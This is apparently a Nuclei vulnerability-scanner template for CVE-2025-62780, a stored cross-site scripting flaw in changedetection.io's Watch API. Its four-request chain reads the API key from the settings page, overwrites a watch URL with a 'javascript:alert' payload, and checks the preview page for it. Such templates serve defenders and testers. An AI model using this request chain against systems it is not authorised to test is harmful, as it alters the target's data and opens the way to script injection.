id: CVE-2025-62780

info:
  name: ChangeDetection.io <= v0.50.33 - Stored XSS via Watch API
  author: 0x_Akoko
  severity: medium
  description: |
    changedetection.io <= 0.50.34 contains a stored cross site scripting caused by insufficient security checks in the Watch update API, letting attackers execute arbitrary JavaScript when users preview malicious links, exploit requires user interaction
  impact: |
    Attackers can execute arbitrary JavaScript in users' browsers, potentially stealing data or performing actions on behalf of the user.
  remediation: |
    Update to version 0.50.34 or later.
  reference:
    - https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-4c3j-3h7v-22q9
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62780
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 6.2
    cve-id: CVE-2025-62780
    epss-score: 0.00083
    epss-percentile: 0.24058
    cwe-id: CWE-79
  metadata:
    max-request: 4
    verified: true
    shodan-query: title:"Change Detection"
    fofa-query: title="Change Detection"
  tags: cve,cve2025,changedetection,xss,stored,api

variables:
  string: "{{to_lower('{{randstr}}')}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Change Detection", "changedetection.io")'
          - 'compare_versions(version, "<= 0.50.33")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        internal: true
        group: 1
        regex:
          - 'id="right-sticky">v([0-9.]+)<'

      - type: xpath
        name: watch_uuid
        part: body
        internal: true
        attribute: id
        xpath:
          - "//table[contains(@class,'watch-table')]//tbody/tr[1]"

  - raw:
      - |
        GET /settings HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "api-key")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: api_key
        part: body
        internal: true
        group: 1
        regex:
          - 'id="api-key">([a-f0-9]+)</span>'

  - raw:
      - |
        PUT /api/v1/watch/{{watch_uuid}} HTTP/1.1
        Host: {{Hostname}}
        x-api-key: {{api_key}}
        Content-Type: application/json

        {"url":"javascript:alert(document.domain)","title":"{{string}}","paused":true}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "OK")'
        condition: and
        internal: true

  - raw:
      - |
        GET /preview/{{watch_uuid}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "javascript:alert(document.domain)", "{{string}}")'
        condition: and
# digest: 490a00463044022064361a1f1ee57394c6400f7463e16a34c196e4cb38e8a95c6c9a9c50ac6a1ed0022055e81e650d74d5dc32f3290627df89d6d8384d1e0050e7cdd20339b6d1ae96ad:922c64590222798bb761d5b6d8e72950